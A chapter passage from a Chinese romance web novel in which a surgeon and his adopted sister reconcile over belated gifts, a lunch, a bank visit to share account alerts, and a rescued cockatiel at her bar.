齐眉看着这句话,只愣了一下,便想起来盒子上的商标该怎么念了。 Buccellati,一个小众的意大利珠宝品牌,东西很好看,缺点是容易缺货,可能一等就要大半年甚至一两年。 可是她当时特别喜欢,在他问要不要换一款有货的时,反问他:“那可是我毕业诶,这么大的事,不值得拥有一件最最喜欢的首饰吗?” 哦,这么说的话也是,于是江问舟爽快答应,给柜姐留了自己的联系方式,说到时候他来拿,顺便写贺卡。 柜姐当时还说,保守估计要等半年左右,但等啊等,等到她都忘了,他们也走散了。 打开盒子,丝绒内衬上躺着一条布契拉提歌剧院系列的项链,黄金色的小号吊坠,绿色珐琅衬底,看起来十分日常,又不乏古典优雅的华丽韵味。 它是那么美丽而耀眼,光芒四射,刺得她的眼泪瞬间决堤,再也忍不住。 她终于窥见在这段没有陪在彼此身边的日子里,江问舟是如何一个人站在道别前那一刻的路口,张望着期盼她能回头。 同时又做着另外的谋算,背着巨大的压力,想为她出一口气。 他戴上沉重的面具,终于在时光的缝隙里变成了不动声色的大人。 代价是将疮疤一次又一次揭开,直至变得血肉淋漓。 齐眉以前以为自己喜欢酒是因为它可以让自己忘记一些不那么快乐的往事,后来发现并不是,她就是单纯的喜欢这种色彩斑斓的美丽东西。 现在又突然发现,其实江问舟才是那个困在记忆里,用往事的余温做酒,麻痹自己的人。 一时间内心五味杂陈,捧着一堆迟来的礼物,嗷嗷地大哭出声。 ————— 家里安安静静,只有齐眉一个人的呜咽声回荡,家里只有她,也没人来劝,甚至都没有年年来关切她。 于是她哭得特别畅快,眼泪像决堤的河水一样在脸上纵横蔓延,顺着颊边滴滴答答往下滴在手里的项链上。 金色的吊坠被*眼泪打湿,变得更加光芒耀眼。 齐眉爽哭半小时,虽然觉得嗓子都哑了,但却觉得整个人都轻松了许多。 好像有什么东西随着眼泪一起被排出了体外。 等她哭完,发现时间已经快十二点了,也不知道江问舟什么时候结束上午的工作,今天好像也是他手术日来着…… 她赶紧擦擦脸,将东西都收起来,贺卡放进抽屉的盒子里,首饰则是放进首饰盒。 多了好几样东西,原本还有不少空余位置的首饰盒瞬间显得拥挤起来。 她扶着腮看了好一会儿,才决定要戴哪条项链。 好像一下就回到了从前,每天出门之前她都要在梳妆台前纠结好几分钟,直到江问舟在外面催:“齐西西,你走不走,迟到了,扣工资啦!” 本来学生能领到的钱就鸡碎那么点,主要开支靠江问舟,要是她连累他一起迟到,被扣了钱,那将让本就不太富裕的家庭雪上加霜。 所以这时她就会手忙脚乱地跑出来,催他赶快走。 想起这些事,她就觉得忍俊不禁,一面笑一面起身去拉衣柜门,还要抽空看一眼手机。 果然发现有江问舟发来的未读信息,她吓了一跳,立刻心虚地点过去看。 【上午手术预计12:40结束,你在中午一点到一点十五分之间到医院最好,来后记得给我电话。】 齐眉看完松口气,这就还早着呢,她还能磨蹭一会儿。 至于怎么磨蹭,无非是看着衣柜里的衣服纠结到底哪一件比较好。 她觉得已经很久没这么纠结过了,看哪件都觉得缺点意思,好像没那么漂亮。 没等挑好衣服,她就发现衣柜的一角好似有些不对劲。 ……这黑色的衬衫好像不是我的吧? 拉出来一看,果然不是自己的,而是江问舟的衣服,有三四套,挤挤挨挨地挂在衣架上,两边都是她的衣服,看上去是故意挤进那儿的。 但是他的西裤和她的裙子紧紧贴在一起,看起来格外亲昵,像极了爱人之间亲密相拥时耳鬓厮磨的状态。 让她轻易想起曾经有过的水乳交融的时刻。 齐眉回过神,脸上一热,一面嘟囔着吐槽他把自己衣柜搞乱了,一面将他的衣服拿出来。 整理一下衣柜,再重新挂回去,特地在顺手的地方给他留出一块地方。 然后看着整齐的衣柜满意地笑笑。 她将手伸向一件紫色T恤衫,刚碰到衣架,又缩回手,咬咬嘴唇,伸手探向衣柜伸出。 齐眉在衣柜里翻了一会儿,找出一件白色的高腰吊带裙,裙子是几年前买的,当时看中它胸前的花朵装饰,粉粉黄黄的,有种慵懒的好看,很适合去度假。 但买回来之后也没穿几次,因为工作太忙,总也没什么时间休息出去玩,这样的裙子又不可能穿去上班。 而且裙子胸前的花朵好看归好看,难打理也是真的。 裙子是很轻薄柔软的醋酸面料,决定了它上身以后会很贴身,齐眉下意识地屏气,收了收腹。 裙摆在腿边柔顺垂下的那一刻,她忍不住摸着小肚子大大地松了口气。 幸好,幸好,幸好天天嗨吃嗨喝也没有胖多少! 只有一点点小肚子,可是,普通人哪有没有小肚子的! 穿好裙子,她又拿了一件白色的罩衫,还难得化了一个全妆,出门时已经是十二点半。 幸好她住得离容医大不远,正午十分太阳太晒,路上人车都不算多,遂一路畅通的到了医院门口。 她先停下来试着给江问舟打电话,没想到真的被接了起来。 听到熟悉的声音喂了一声,齐眉一愣:“咦?不是说手术要到四十分才结束么?” 江问舟嗯了声,语气里笑意明显:“病人的情况比我们在术前预计的好得多,所以很顺利就做完了。” “剩下缝合之类的收尾工作,由一助来做?”齐眉听了脱口问道。 江问舟失笑,应了声是,声音里的轻快情绪越来越明显:“我现在也是有助手帮忙的人了。” 她从申城回来之前,他还给前辈们当一助呢,一转眼都当主刀了。 “时间过得真快。”她说。 江问舟失笑,嗓音是齐眉从前极其熟悉,但因为许久没听到,而觉得有些陌生的柔和:“长大了都觉得时间过得快。” 说完顿了顿,问她:“在哪儿?” 齐眉的呼吸顿了一下,才应道:“……你们单位门口。” “我马上下来。”他应了一句,又嘱咐她,“别下车,外面晒。” 是以前常说的话,如今总算又能理所当然、毫无顾忌地说出口。 电话那头安静了一瞬,才听到齐眉低低地应了声好。 在等江问舟下来的时间里,齐眉全程有些忐忑,虽说以前什么事都做过了,但毕竟几年没在一起…… “……呃、是不是有点胖了?”她被江问舟看得有些不自在,扯了一下身上的裙子,还拢了一下罩衫,挡住小腹。 江问舟看一眼她胸片粉的黄的装饰花,失笑着摇摇头:“还能穿下读书时候的衣服,哪里胖了。” 说着伸手捏住她胸前一朵花,往上提了提,一本正经道:“小心晒伤。” 齐眉:“……” 被他捏装饰花时的动作不小心蹭到的皮肤一瞬间就便烫起来,车里的空调似乎没有起到任何降温的作用,齐眉觉得自己额头上都开始冒汗了。 江问舟在导航里输入附近银行营业厅的地址,系好安全带,准备开车之前,他侧头看了眼旁边垂着头面颊泛红的齐眉,觉得看到了她以前的影子。 可是以前她…… “怎么突然想到穿这件裙子?”他状似随意地问道。 齐眉闻言一愣,随即咬住嘴唇沉默了快有半分钟,才抬眼乜他一眼,问道:“我穿这件……不好看吗?” 从前的齐眉的影子越来越清晰。 江问舟心里的迟疑情绪也越来越强烈,以至于他忍不住蹙起眉头。 沉吟半晌才说:“好看,但是……” 他话才说了个开头就停下来,一副很努力组织措辞的模样。 齐眉等了一下,既没等到他接下来的话,也没等到他开车,便忍不住催促似的问道:“但是什么?” 江问舟被她问得叹出口气,干脆放弃委婉,直接问道:“但是,这是你喜欢的吗?我回来这小半年,没见你做过类似的打扮。” 精致到可以说是性感的裙子,细腻如画的妆容,这些他以前很熟悉的元素,在现在的齐眉身上,却是陌生的。 齐眉听见他的问题,扭过脸,抬眼看向他,在他的眼睛里看见认真的关切,眼底忽然又是一酸。 “我看见你给我准备的那些礼物了……”她垂下眼低声说道,想告诉他自己哭了一场,觉得突然想明白了一些事,但又不好意思。 “然后呢?”江问舟问道,眼神在她身上打量了一圈,有些疑惑,“很感动,所以……这是给我的奖赏?报答?还是什么?” 他还是没办法忘记她说过的那些话。 齐眉一噎,觉得有些局促,更多的是尴尬,差点就要抓耳挠腮了,半天才憋出来一句话反问他:“你不觉得……这件裙子配你送的项链,很好看吗?” 江问舟的目光落在她的脖颈上,红蓝双宝的吊坠贴在她雪白的皮肤上,好像连火彩都多了几分。 他忍不住笑起来,抿着嘴角点点头:“好看是好看,可不一定要这件裙子配。” 他顿了顿,终究还是忍不住问:“西西,你是因为喜欢,或者突然想回忆从前,才选的这件裙子,还是……想讨好我?” 话说到最后,他的声音都变轻了,仔细听还能听到一丝忐忑和委屈。 他不需要她这样讨好的。 齐眉看向他,和他四目相对,觉得自己眼睛里的酸涩又快要忍不住变成眼泪了。 “不是……”她摇摇头,露出一个纠结的表情,嘴巴抿起来。 江问舟忍不住伸手揉揉她头顶,叹口气:“算了,我不问了,你也别想太多,先去吃饭吧。” 答案是什么,有这么重要吗? 重要,但也不那么重要,难道她说是啊,就是特地穿给他看的,他就会把她推开,说算了既然这不是你真心喜欢做的事我们不复合了? 他脑子又没问题。 既然结果不会有什么改变,那这个问题的答案是什么,似乎也就不那么重要了。 以后总会改变的,江问舟想。 车子启动,飞快向目的地驶去,齐眉抓着安全带,正有些担心他会不会不高兴她没正面回答他的问题,就听他问:“中午想吃什么?” “……还没想过。”她回过神应道。 江问舟失笑:“那我就做主了?去吃炒菜怎么样?” 齐眉松口气似的,立刻点头应好,还没来得及说什么,就喉咙一痒,忍不住咳嗽两声。 “你这咳嗽,周末去看看中医吧,我们尽量让医生开不那么苦的药,好不好?”江问舟转了一下方向盘,才问,“周末休息?” 齐眉点点头:“周末正好休两天的。” “你这工作是舒服。”江问舟笑着摇摇头,“跟我们医院心电图室一样,上一休二。” 齐眉一惊:“心电图室还有这种好事?” “据说是人手还算充裕,而且是一个科里的医生带两个学生值班,等于是每天少一个人上班而已,问题不大。”江问舟淡淡应道,“他们值班基本都是熬一整夜,除了部分病人要他们做心电图,像急诊和心内心外这些科室,有移动心电图机,可以给病人做普通心电图,但是报告要他们出,做完得打电话让他们起来写报告,要是急查床旁这种临床科室开不了的,就得叫他们过来,晚上那么多病人……对吧?” 齐眉听完捏捏耳朵,说了句:“那也没有你们累,你们一个手术能从半夜干到第二天中午。” 江问舟闻言失笑:“都很累,幸好你不用。” 说完顿了顿,看了眼前面的路牌,才继续道:“听妈说,你去年也是在二十四小时的点位值班?” “是呀,但我们其实还好的,远不如在医院辛苦。”齐眉实话实说,“晚上十一点多最后一班航班出港,一点以前最后一班航班落地,除非遇到大面积延误,否则一点以后人少了,还是可以休息一会儿的。” 江问舟点点头,松口气似的:“那就好。” 这些事他早就该问,只是之前关系一直别扭着,连坐下来心平气和好好说话都不能,更别提聊这些了。 江问舟有很多问题想问,但一时半会儿也没时间。 他在一家饭店门口停下车,让齐眉先进去点菜,“别点辣的冰的。” 她那支气管炎让人头疼。 齐眉有些不好意思地抿抿唇,连连点头。 下车时裙摆擦着车门边滑下去,江问舟看一眼,忍不住叹了口气。 这是一家家常菜小馆子,齐眉点了梅菜扣肉、糖醋里脊和一个青菜,要了海带排骨汤,想想又怕江问舟吃不饱,再加一个蒸蛋。 刚点好菜,江问舟就进来了,坐下后刚想问她要不要喝饮料,就听手机响了起来。 “妈的电话。”他看一眼来电显示,对齐眉说道。 齐眉一愣,随即倒吸一口气,下意识抬手捂住嘴巴,瞪着眼冲他使劲摇摇头。 意思是不要告诉干妈我也在这儿! 江问舟顿时就气笑了,白她一眼,冷哼一声,这才接起电话。 才刚说了两句吃饭没有之类的家常话,齐眉就见他面色一顿,变得有些古怪:“您是听聂小姐说的,还是陈阿姨?” 齐眉闻言先是好奇,到底是什么事? 接着想起他的相亲对象就姓聂,是陈阿姨力荐的侄女,顿时就不高兴了。 看她撇嘴一脸不悦的模样,江问舟又忍不住觉得好笑,嗤的笑了声。 孙茂芸在那头不明所以,听到他的笑声,觉得他的态度很有问题。 立刻张口就骂:“你什么态度?你妹妹跟人打架,打到进派出所,你还觉得很骄傲是吧?” 第40章 第四十章(二合一)她在从前和现在之…… 孙茂芸是听了江眀琮的老同事陈阿姨的转述,才知道齐眉跟人打架,打到进了派出所的事。 聂初晴甚至将江问舟说“我妹妹不可能跟人打架”的话都跟她婶婶说了,陈阿姨又原封不动地照搬给孙茂芸。 然后问孙茂芸这是怎么回事,说齐眉这孩子以前看着都好好的,怎么现在居然学会了打架,是不是毕业后认识了什么人学坏了。 话里话外都有点怪孙茂芸和江眀琮没管好孩子的意思。 还说什么:“孩子不能一味惯着,现在你和老江还在,能帮她擦屁股,以后呢?就得她哥哥嫂子帮她,就算是亲生的,这么能惹事哥嫂都嫌弃,更何况不是。” 又劝她注意平衡好对待两个孩子之间的方式,不要厚此薄彼,“那毕竟是你亲儿子,不要只顾着养女,寒了亲儿子的心。” 孙茂芸听了既委屈,又难过,先是逮着江眀琮骂了一顿,问他是不是他那些同事朋友都这么想的。 然后打电话来对江问舟兴师问罪:“这么大的事,你怎么也不跟我和你爸说?” 话音刚落,就听到江问舟嗤地笑了声。 这笑声简直就是点燃炸药的导火索,所以江问舟挨骂真的不冤。 听到母亲质问他是不是对妹妹打架进了派出所感到骄傲,江问舟一面说您听我解释,一面没好气地嗔一眼对面捂着嘴看热闹的齐眉。 “这事儿不是西西的错。”江问舟温声说起原委,“严格来说,西西也是受害者,她是正当防卫,是不是?没道理我们被欺负了,还忍气吞声的,您和爸可没教过我们当个包子。” 就算是当时面对方仕平,齐眉也不是一开始就打算息事宁人的,她是拿了好处,又怕再追究下去会影响到他去进修的事,这才算了的。 只是她权衡利弊权衡到最后,却没为自己考虑过。 想到这里,江问舟心里忍不住叹口气,看向齐眉的目光瞬间变得柔和。 齐眉有些疑惑,歪头看向他,用眼神问他:“怎么啦?” 江问舟摇摇头,嘴角一翘,听母亲在那边气呼呼地说:“我就说嘛,西西怎么可能是那么不讲理的人,我们从来不主动惹事。” “所以什么事都没有,至于陈阿姨说的那些话……”江问舟失笑,“您也别放在心上,外人不了解我们家的事,您又不跟她过日子,我、西西和爸爸都知道您有多辛苦,怎么会觉得您厚此薄彼。” 他和齐眉总是骄傲,觉得再没有比她更好的妈妈了,她那么辛苦,在他们身上投入了数不清的精力和心血,钱也好,爱也罢,能给的都给了,所以齐眉才会那么害怕被她知道他们的事。 “干妈要难过的。”她一直都这么说。 江问舟说完顿了顿,看一眼齐眉,才继续道:“至于西西,您放心,她的事我以后都管的。” 说着有些意味深长地看一眼齐眉。 嗯嗯,自己老婆的事能不管么,这屁股他包擦的啊:) 孙茂芸听了他的话,这下可算满意了,她就说嘛,他家的教育好得很,兄妹俩感情好得很,什么嫌弃妹妹,不可能。 孙茂芸缓过气来,问他:“吃午饭没有?” “正准备吃。”他笑着应道,挪了一下桌上的杯子,让服务员将一碟梅菜扣肉放下。 孙茂芸以为他是在单位,就问:“这么晚了,你们食堂还有菜么?” 江问舟顿了顿,看着对面齐眉捧着碗轻拿轻放的动作,又好气又好笑:“……不在食堂,出来吃的。” “那就好,多点几个菜,别省钱。”孙茂芸絮叨着嘱咐他,又说,“周末休息么,休息回来吃饭吧?” 江问舟应了声好,很快就结束通话,齐眉这时才有些迫不及待地问:“干妈说什么了?” “说什么?”江问舟接过服务员拿来的米饭,声音慢悠悠的,带着有些无奈的笑意,“说你跟人打架的事,陈阿姨跟妈说的,说不准这事叔叔阿姨们都知道了。” 坏事传千里,别管是什么样的坏事。 齐眉:“……” “他们好八卦。”她忍了一会儿,没忍住,抱怨道,“又不关他们事。” “谁让你这么冲动,要跟人家动手?”江问舟有些没好气,“打一下就行,还把人打进派出所。” 齐眉一噎,竟然也觉得自己好像是有些理亏。 但很快她就反应过来,反驳道:“这能怪我么,还不是因为你……要不是你说,你相亲对象能知道吗?她不知道,陈阿姨会知道吗?陈阿姨不知道,干妈会知道吗?” 说来说去,都是他的错! 这下轮到江问舟被噎住,还别说,真的是因为他当着聂初晴的面接了派出所那个电话,才有的后续。 “……你就不应该去相亲。”齐眉用筷子戳着碗里的米饭,嘟嘟囔囔的,一脸不高兴,“真讨厌……” 江问舟把扣肉里的肥肉用筷子分开,将瘦肉部分夹给她,慢悠悠地道:“对于这个问题,我现在有不同意见了。” 不等齐眉反应过来,他就继续道:“幸好我去相亲了,不然你不会去买醉,就不会跟人起冲突,我也就不会去接你,你就不会跟我说那些话。” 他也就不会知道原来她也不是那么坚定要和他、和他们的过去划清界限,还是对他有着占有欲,不愿意看到他和别人在一起。 在江问舟的认知里,对一个人的占有欲就是最好的爱意证明。 “道路是曲折的,前途是光明的,这话果然是真理。”他的声音里透着笑意,“我对现在这个结果很满意。” 齐眉:“……” 她一时不知道该怎么反驳,只好撇撇嘴,一副很不服气的样子。 江问舟见状笑笑,转移话题:“妈让我们周末回去吃饭,你们单位的体检……结束了么?” “但是周末不体检的。”齐眉摇头应道,脸一皱,“干妈不会要骂我吧?” 江问舟这下再忍不住,嗤一下笑出声来。 见她眼睛一转就要瞪自己,立刻把笑憋回去,安慰道:“没事,到时候你咳几声,我们就带你出来看医生,妈就忘了要骂你了。” 齐眉:“……”怎么左是苦右也是苦,就没有第三个选择了吗? 齐眉其实不是一个很会掩饰情绪的人,尤其是精神放松的时候,那真的是心里想什么脸上就写什么。 从她小时候开始,江问舟就觉得她这个性格很有意思,前些天他还很遗憾地想过,她现在是大了,已经学会掩饰情绪,居然能在爸妈面前演得这么好,他也看不出她到底在想什么了。 多少有种物是人非的感觉,觉得遗憾,却也无可奈何。 但现在居然又看到了她熟悉的表情,江问舟心里松口气的同时,竟然有种眼睛泛酸的感觉。 “你下午还有手术么?”齐眉这时抬头问他。 江问舟回过神,应道:“……三点十五分还有一台。” 齐眉有些好奇:“你现在排班是怎么排的了?” “一四全天门诊,二三全天手术,周五半天门诊半天文书工作,整一下病历之类,另外还穿插着MDT门诊。”江问舟仔细回答道,开玩笑说,“原则上你周一周四和周五下午给我打电话,我是能很快接到的。” 没有一个字说查岗,但句句不离查岗。 齐眉白了他一眼,接着问:“值二线班?” 江问舟点点头:“四天一轮。” “辛苦辛苦。”齐眉点点头,应了一句,给他夹了盘子里最后一块扣肉。 江问舟照旧将瘦肉部分夹给她,问她晚上去不去店里。 齐眉咬着筷子尖有些犹豫:“……年年不在,可是我好几天没去店里了。” “那就去吧,我下了班过去接你。”江问舟立刻接话道。 齐眉看一眼他低着头将盘子底下的梅菜干拌进饭里的动作,过了几秒才嗯了声。 “要给你准备晚饭吗?” “附近有什么外卖?”江问舟顺口就问。 齐眉先是一愣,旋即失笑:“店里有餐食的,我让汪淼不忙的时候顺便给你做点呗,要是你想吃外卖也行。” “……都可以。”江问舟动作顿了一下,抬起头,状似随意地问,“你店里这些员工,都是怎么找到的?” “都是舅舅和阳哥帮忙安排的,夜场的副调佟林是舅舅的干儿子,过来不止是当调酒师的,主要是为了看场子,防止有人闹事,晚上比白天……不安定因素多一些。” 齐眉仔细跟他介绍起店里的人,把负责白天的咖啡店的团队成员也说了一遍,刚说完,他们饭也吃完了,正好下午两点整。 结账出来,穿过马路走了大概五六百米,就到了银行的营业网点。 进门拿号,因为时间还算早,来办业务的人不多,齐眉都还没感受到多少空调的凉气,就听到叫号念到了他们的号码。 到了窗口,接待他们的柜员听完江问舟说要办什么业务之后,整个人都傻了:“……改、改卡的预留号码……不是,您是要把您名下账户的控制权转移给您旁边这位女士,是吗?” 江问舟想了两秒,点点头:“是这样没错。” 柜员的神情立刻就变得警惕起来,问他们什么关系,江问舟又是犹豫两秒,说这是我女朋友,柜员立马露出有些无语的表情,跟他们说这是不允许的。 理由也很简单:“这是违反反洗钱和身份验证规定的,为了保障账户安全和防范金融风险,账户信息必须和持卡人身份一致,所以预留的号码必须是您本人实名认证的。” “……我自愿转移控制权也不行吗?”江问舟愣了一下才问道。 柜员看着他,眼神既无语又郁闷,长得那么好看一个人,怎么脑子有问题啊? “……要转账给骗子的人也经常说自己是自愿的呢。” 就差没直接说你可长点心吧,万一你遇到了美人计和杀猪盘,你所谓的女朋友是骗子,把你财产都转移走了,你就老实了。 江问舟和齐眉不约而同地一噎。 旋即齐眉眨眨眼,尴尬地拉拉他袖子,小声道:“不行就走啦,要用你的卡也不是非得换绑号码的……” 江问舟没搭理她这话,只把她手拉了过去,握在手里捏了捏,跟工作人员咨询:“那有没有什么办法,能让我女朋友知道我这张卡的流水?” 齐眉闻言一愣,这能做到吗?不能吧,不是一个卡就一个号码么,又不是附属卡和主卡的关系? 柜员的神情虽然还是有一丝怪异,但却真的告诉了他们一个办法:“您可以将您女朋友的号码设置为附属通知号码,这样您和您女朋友就都会接收到账户变动提醒了。” 问题迎刃而解,江问舟松了口气,齐眉觉得大开眼界,竟然还能这样! 绑定好她的号码以后,江问舟顺手就把卡递给她,“你拿着?” “不要,还是你自己拿着,万一要用呢?”齐眉摇摇头,“你把卡号给我就行。” 江问舟便将卡收回去,问她:“密码是以前那张卡的密码,还记得么?” 齐眉闻言嘴唇一抿,点点头:“……我的生日嘛,记得的。” 那时候她还没毕业,穷学生一个,家里基本所有开销都是江问舟负责,他又忙,干脆把账号密码都给她,但有一次她无论如何都想不起来密码,试了几次以后就被锁住了,得去柜台解锁。 那次他就顺便重置了一次密码,改成了她的生日,这下想忘都难。 从银行大厅出来,盛夏灼热的空气瞬间吹得人皮肤发烫。 齐眉眯着眼往远处望了一下,又低下头来,看着自己的脚尖,忽然说了句:“我以前穿这件裙子的时候,都搭的是高跟鞋。” “而且……”她仰头看向他,语气认认真真,“这条项链和它搭起来真的蛮好看。” 江问舟闻言先是一愣,旋即明白过来她是什么意思。 他低头看一眼她脚上杏色的平底鞋上小巧的蝴蝶结装饰,像是在告诉他,其实她更多的是因为喜欢因为合适,才选了这件裙子。 这件裙子很好看,和项链很搭配,所以她才选的。 明明高跟鞋配裙子会更好看,走起路来摇曳生姿,但她没有选,而是选择了更舒服更便利的平底鞋。 就像是她在从前和现在之间,又找到了一个新的平衡点。 “……那就好。”江问舟松口气,笑着抬手揉揉她的后脑勺。 ————— 江问舟下午还有手术,办完业务就立刻返回单位。 回的时候还带了几份咖啡,回到办公室看见哪个就给哪个分,主打一个先到先得。 蔡朝用力吸了一口冰美式,啊地说了声爽,然后问江问舟:“老大你这是去哪儿了?” “去银行办了点事。”江问舟笑着应道,把最后一杯咖啡递给进来的沈媛。 随后匆忙离开,前往手术中心,走前惯例交代他们有事就给他打电话,或者让另外几位主任帮忙看看。 等走了,沈媛才问蔡朝:“你有没有觉得,咱们老大今天心情不错?” 蔡朝咬着吸管,头一歪:“……好像、他也没哪天心情很差过吧?情绪很稳定啊。” 沈媛:“……” 沈媛被他噎了一下,半晌没说话,等到手里的咖啡喝完,要去继续忙了,才问了他一句:“你知道为什么你现在还是单身狗吗?” 一点眼力见都没有的家伙! 蔡朝:“???”你怎么可以骂得这么脏!!! 一旁另一位同事噗一下笑出声来,故意问他:“咱们科仅剩的几位单身贵族,是不是都在你们组?这算不算物以类聚,人以群分?” 蔡朝无语得直翻白眼,反问同事:“姐你是不是想说我们老大上梁不正下梁歪,他都不找对象,所以我们有样学样?” 同事撇过头,否认三连:“我可没有这么说,你可别断章取义,别冤枉我。” “噫——”蔡朝发出啧啧啧的怪叫声,然后问,“所以姐你有合适的人选介绍吗?” 同事刚想说没有,话都到了嘴边,又突然脑筋一转:“还用我介绍?你们组内部消化不就得了,陈妍啊,你俩都单身,这不正好么?” 蔡朝一愣,居然一声不吭地别过头去,看起来有些尴尬又扭捏。 好家伙,怎么是这个反应,你小子不会真的有情况吧? 同事大感纳罕,正要对他进行一番旁敲侧击,就听护士在外面喊住院总收病人,又只好遗憾作罢。 蔡朝逃过一劫,赶紧起身溜走了。 江问舟也不知道自己还被同事们议论了一下,准时进了手术间,又提前结束手术出来了,觉得今天的手感特别好。 连搭台的护士和麻醉医生都说:“今天江主任大发神威啊,让我们都能早点下班。” 秦一鸣一边接力给病人缝合皮肤,一边调侃道:“话不要说得太明白,差不多就行了,小心变成乌鸦嘴。” 大家哈哈一笑,立刻转移了话题。 江问舟看了一会儿秦一鸣缝合皮肤的操作,觉得没什么问题,就转身去了休息室。 刚坐下,下巴挂着口罩的郭主任也跟着进来了,江问舟连忙起身帮他拉了一下椅子。 郭主任关心了一下他刚才的那台手术的病人情况如何,接着就问:“周末值不值班?” 江问舟稍微一想,便知道他为什么这么问,摇摇头无奈一笑:“西西一直咳嗽,前些天找呼吸科的张主任看了一下,又拍了片子,说有点支气管炎,但吃了药一直都不好,打算周末带她去看看中医。” “改天吧,改天我请您和师母吃饭。”他笑着道,“再请您二位去西西店里坐坐,白天有咖啡,要是您再坐坐,就可以感受一下晚上酒吧*的氛围了。” “听起来挺有意思。”郭主任笑道,点点头,爽快道,“行吧,你画的这个大饼我吃了。” 等秦一鸣也过来,确认病人已经进了复苏室,这才离开休息室,去心内科参加多学科会诊,看一个在体检时偶然发现冠状动脉异常,但经过问诊和查体却并未发现导致冠状动脉异常的危险因素的病人。 进电梯的时候,手机上收到齐眉的信息,问他:【肥牛饭吃不吃[开朗.jpg]】 江问舟只看了一遍,就忍不住笑起来。 多普通寻常的一句话,从小到大不知道听她问过多少次,可此时他偏偏就是能从少少的几个字里,感受到她轻快的情绪。 这种情绪轻易就将他感染,同时让他再一次明白少年时背过的课文,“当时只道是寻常”,幸好,这世上总有幸运儿,能有幸失而复得。 “叮——” 电梯恰好抵达心内科所在楼层,他一面往外走,一面回复齐眉的信息:【吃,要大份的。不出意外的话,我能在十点之前到你那儿,现在在心内科准备参加多学科会诊。】 但是信息发出去之后,却一直没收到齐眉的回复。 看看时间已经六点多,也该到晚上的营业时间了,大概是因为已经在忙,才没看到信息吧。 江问舟也没放心上,接过请会诊的郑医生递来的病历资料,道了声谢,低头认真翻看起来。 一边看还一边在草稿纸上写写画画。 诊讨论在一个多小时后结束,回到科里还要去看一遍病人,真正能下班,已经是晚上八点。 这时他发现,齐眉竟然还没有回复他信息。 江问舟不由得纳闷,今天……这么忙? 还是说平时都这么忙,根本没时间看手机? 他回了一趟齐眉住处,将东西放下,叫了辆车,打车去了齐眉店里。 到的时候也是巧,正好看见齐眉从店里出来,冲在对面那家店门口的外卖小哥走去。 他觉得有些纳闷,喊了她一声:“西西。” 齐眉闻声扭头,看见是他,立刻就笑起来,嘴唇动了一下,问他:“下班啦?” 像是故意把那个称呼咽回去了似的。 江问舟觉得好笑,又觉得她在路灯光下熠熠生光的眉眼好看得过分,要不是她这么小心,他可能真的会情不自禁地去吻她。 那样极大可能会被店里的客人和她的同事透过落地窗看到这个秘密。 外卖小哥送完东西就走了,江问舟这时才低头看齐眉手里的袋子,问道:“点了宵夜?” 边问边伸手去牵她的手。 “不是。”齐眉摇摇头,反客为主似的捏捏他手心,又立刻避嫌地甩开,“小鸡饲料啦。” “……小鸡饲料?”江问舟轻搓指腹,有些疑惑地问,“你养彩色小鸡了?” 你都多大啦,还喜欢小学门口的小玩意呐?那都是养不活的啊! “不是不是。”齐眉又摇头,解释道,“傍晚的时候,有个客人带了只玄凤鹦鹉过来,说是捡的,她家养了三只猫,不方便养小鸡,所以就给我们了,拜托我们帮忙找领养。” 在领养出去之前,总得管小家伙吃饭的问题吧,“所以我问了宠物医生之后叫外卖送了鹦鹉鸟粮过来,小米家里有,倒是不用买。” “你要养?”江问舟有些惊讶,也很犹豫,“金金……” “不养不养,万一被年年或者金金咬死了怎么办。”齐眉摇头,推着他胳膊往里走,继续说着自己的打算,“明天我让清葭姐帮忙把它送去宠物医院,让他们帮忙找领养看看。” 话音刚落,就推开了门,进门的那一刹那,她立刻离江问舟远了一点。 江问舟都被她这动作给无语笑了,刚要吐槽,就听她继续问:“或者你知道谁想养小鸡的么?” 江问舟觉得小鸡这个称呼莫名有点搞笑,刚想说不知道,话到嘴边又想起:“宋主任养了一对宝贝虎皮鹦鹉,能不能跟玄凤一起养?” “不知道啊,我没养过。”齐眉摇头,让他找地方先坐,“我去给你端饭,然后去喂喂它。” “我和你一起去,拍个照,我问问宋主任养不养。”江问舟想了想道。 那更好了,能托付给熟人更放心,于是齐眉带江问舟往楼梯方向走。 田乐给客人送了酒,抬头看见江问舟,就笑着跟他打招呼:“江医生来啦?” 江问舟应了声是,笑着说了句:“辛苦。” 田乐一愣,过了几秒才反应过来,想说没有没有,可人已经上了楼梯,来不及说了。 于是她扭头问佟林:“老佟,你有没有觉得阿眉她哥……跟前几次来的时候,不太一样啊?” 佟林往雪克壶里倒金酒,闻言啊了声:“哪儿不一样?” “就是感觉……”田乐也说不上来具体哪里不一样,只能讲个感觉,“前几次见他都不怎么说话,看着心情不太好,今天好像心情还可以哈?” 佟林闻言失笑:“那就是之前心情不好呗,上班累了,下班不想说话,正常。” 田乐觉得好像也有道理,正好有客人来点酒,这个话题便浅聊辄止。 楼上,江问舟在休息室里见到了装在纸箱里的鹦鹉,头上标志性的呆毛已经稀疏了,尾羽甚至有断折痕迹,身上的毛没什么光泽,毛色有灰有白,不知道是本身的颜色,还是脏的,反正灰扑扑一团趴在毛巾上,蔫蔫的像是受了很多苦。 “那个客人在家楼下捡的,也不知道从哪儿来的,她说这种鹦鹉没什么野外生存能力,要是没人管它,很快就要去去卖咸鸭蛋了。” 齐眉一边解释,一边给它张罗水和粮,还用手指摸了摸它的背。 “看起来还挺亲人。”江问舟说着,也伸手想摸摸。 结果它乌溜溜的眼睛一顿,整只鸟都紧张起来,僵硬得不敢动了。 他眉头一挑:“它怕我。” “可能是你身上有金金的味道?”齐眉猜测。 “你身上没年年的味道?”江问舟失笑,收回手,拿出手机给宋主任打电话。 才说了两句就挂了,齐眉好奇看向他,他就耸耸肩:“宋主任强烈要求视频看看它。” 齐眉恍然大悟地哦了声,说:“那你们聊吧,我去给你热一下饭,快点下来啊。” 说完就转身出入了,江问舟看着她走了,才一边给宋主任发送视频邀请,一边伸手摸了摸刚吃饱的鹦鹉崽子。 看着它一动不动紧紧张张的样子,哼了声。 不给摸?我偏要摸,毕竟强扭的瓜可不一定不甜。 视频接通,他跟宋主任打了声招呼,就将镜头调转,对准箱子里的鹦鹉。 宋主任一看就哎哟一声:“怎么成这样了,头毛都掉了,尾羽怎么伤成这样……谁家没关窗让孩子飞出来了哇!养鸟不装纱窗跟遛狗不牵绳有什么区别?” 他絮絮叨叨着吐槽了好一会儿,让江问舟把小鸡抓起来让他看看。 江问舟手一伸就把崽子捉了起来,又被嫌弃动作太粗鲁,“会吓到它的!你看,都不动了!温柔一点,玄凤很胆小的,哎呀,难怪你没老婆哈!” 